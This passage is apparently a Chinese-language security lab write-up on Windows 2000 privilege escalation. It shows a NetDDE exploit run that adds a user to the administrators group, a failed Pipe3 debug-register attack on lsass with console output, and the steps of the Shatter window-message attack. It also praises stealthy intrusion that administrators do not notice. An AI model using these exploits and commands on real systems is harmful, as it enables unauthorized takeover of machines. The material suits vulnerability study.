D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the Members
-----------------------------------------------------------------------------
a_mao
Administrator
The command completed successfully.
/*
本地administrators Group目前只有两个成员，Administrator和a_mao。试着把“moda”加入到本地administrators Group中：
*/
D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators /add moda
System error 5 has occurred.
Access is denied.
/*
我的权限显然不够，所以得到error 5。
运行DilDog的Exploit程序，同时附带上我的黑客命令：
*/
D:\MyJob\securitylab\netddemsg\Debug>netddemsg -s Chat$
net localgroup administrators /add moda
/*
程序运行结束，让我们看看“moda”是否加入本地administrators Group：
*/
D:\MyJob\securitylab\netddemsg\Debug>
D:\MyJob\securitylab\netddemsg\Debug>net localgroup
administrators
Alias name administrators
Comment Administrators have complete and unrestricted
access to the
Members
-----------------------------------------------------------------------------
a_mao
Administrator
moda
The command completed successfully.
D:\MyJob\securitylab\netddemsg\Debug>
/*
我也光荣地加入了本地administrators Group
*/
利用Windows 2000/Intel中的Debug Register来提升权限：
我是在Georgi Guninski的个人网站http://www.guninski.com)上看到这篇文章：
“Elevation of Privileges with debug registers on Win2k”，介绍如何利用Intel X86中的Debug Register来获取Local Administrator的权限。我的运气不太好，用文章中的Exploit程序Pipe3试了几次也不能成功，不过觉得利用Debug Register来攻击是个新的思路，所以就在这里顺便介绍一下。
Intel X86的Debug Register(DR0-DR7寄存器)是所有进程共用的。也就是说，你在一般用户进程中下一个绊子(就是设置一个断点)，没准会把某个系统进程或者服务进程(Service)绊一跤；这一跤要是把系统/服务进程摔垮了，导致它停止执行的话，你没准就可以伪造该进程的Named Pipe；然后当有其它进程企图通过Named Pipe与垮掉的系统/服务进程联络时，黑客就可以利用函数ImpersonateNamedPipeClient来窃取其它进程的权限----这很可能就是Local SSystem的权限。
文章中的Exploit程序Pipe3(请从网http://www.guninski.com下载)就是按照这个思路设计的：它要整垮的进程是lsass，所以必须先找几个lsass进程将要运行的指令的地址，以便在这些地址设置断点(也就是搞清楚lsass要走哪一条路，我们才好在那条路上设绊脚石)；然后Pipe3以一般用户的权限运行程序Calc(计算器)，并在其中设置断点，因为这断点的地址是在lsass运行的途径上，所以它们并不会影响Calc进程；过不了多久lsass就会有报告“SingleStep Exception”并让你选择是中断lsass运行还是Debug lsass进程；选择中断lsass以便关闭lsass拥有的Named Pipe----\ '5c.\pipe\lsass"，这样Pipe3就可以伪造一个同名的Named Pipe；。。。。。。这以后的几步我想就不用重复了，大家都应该清楚。下面说说我Exploit的情况：
先用WinDbg找到lsass可能要运行的指令地址，lsass有多个Thread，我从不同Thread的ESP寄存器中找了几个地址。然后以我的一般用户名“moda”登录dallas。最后让Pipe3在这些地址分别设断点，总有那么一个地址会成功地中断lsass程，并且产生一个Warning对话框(Dialog Box)报告“SingleStep Exception”。当我选择中断进程后，lsass退出执行，Pipe3报告“LSA died!”：
D:\MyJob\securitylab\pipe3\Debug>pipe3
Fun with debug registers. Written by Georgi Guninskivvdr started: lsasspid=240 breakp=5ffebc
LSA died!
Stop writing to pipe
start \\.\pipe\lsass
Failed to create named pipe:
\\.\pipe\lsass
由于lsass是重要的系统进程，它的终止运行将使系统在一分钟内自动Shutdown。另外我们注意到，
\\.\pipe\lsass并没有成功地创建。为什么呢？我抢在系统Shutdown之前运行了一下Pipelist：
D:\MyJob\securitylab\pipe3\Debug>pipelist
PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com
Pipe Name Instances Max Instances
--------- --------- -------------
InitShutdown 2 -1
lsass 2 -1
ntsvcs 49 -1
scerpc 2 -1
net\NtControlPipe1 1 1
DhcpClient 1 -1
net\NtControlPipe2 1 1
。。。。。。。。。。。。。。。。
很奇怪，虽然lsass进程终止运行，但是它的Named PPipe还在----这大概是Pipe3没能创建“\\.\pipe\lsass”的原因。由于时间的关系，我没能深入研究这个问题，不过哪位朋友要是用Pipe3成功地实现Exploit的话，不要忘记告诉我一声！
不过话又说回来，这种利用Debug Register来终止lsass进程的方法----即使成功的话，也太暴露了：整个系统居然会Shutdown！任何一个傻瓜管理员都会发现有黑客入侵。这大概是黑客中的业余水平。好一点的黑客要做到“轻轻的我走了，正如我轻轻的来”，要象伟大的诗人兼武林高手徐自摩那样施展一把轻功，让傻瓜管理员根本发现不了，当然耳朵厉害的管理员还是会发现的----“谁？有黑客！抓黑客！”。水平达到最高境界的黑客应该是能够羚羊挂角、踏雪无痕的，这就不是我能评论的了。
利用Win32 API的设计缺陷提升权限：
几个星期以前我在计算机安全网站看到两篇新发表的文章：<>、<>，作者是Chris
Paget(网名Foon)，我建议大家去下面的网址读一下他的原著：
http://security.tombom.co.uk/shatter.html
http://security.tombom.co.uk/moreshatter.html。
这两篇文章详细地介绍了如何利用Win32 API的一个设计缺陷来提升普通用户的权限。我们前面也提到，普通用户的进程可以向他/她的Desktop上任何Window发送Message，让目标Window执行用户指定的操作，比如说COPY/PASTE(拷贝/沾贴)、定时运算(Timer)等等。这个Window可能属于用户自己，也可能属于Local System(象"NetDDE Agent")----这样问题就来了：
---- 普通用户如你我他她它(比尔盖茨说狗也可能上网的，所以我们要算上“它”)在他的Desktop上先找到一个属于Local System的Window，我们给这个Window起一个名字叫WINDOWXYZ，这个WINDOWXYZ上最好有能接收沾贴内容的Control(比如说 EDIT)；
---- 用户可以把黑客码用“WM_PASTE”(Message之一)沾贴到WINDOWXYZ的Control里；
---- 用户找到被沾贴的黑客码在WINDOWXYZ进程中的地址；
---- 用户然后发送“WM_TIMER”(Message之二)给WINDOWXYZ，同时把黑客码地址作为参数一并传给WINDOWXYZ，WINDOWXYZ於是执行定时运算，开始运行黑客码。这些 黑客码是以Local System的权限运行的，所以普通用户的权限被成功地提升。
---- 实际上，根据FOON的文章，即使普通用户在其Desktop上找不到属于Lo
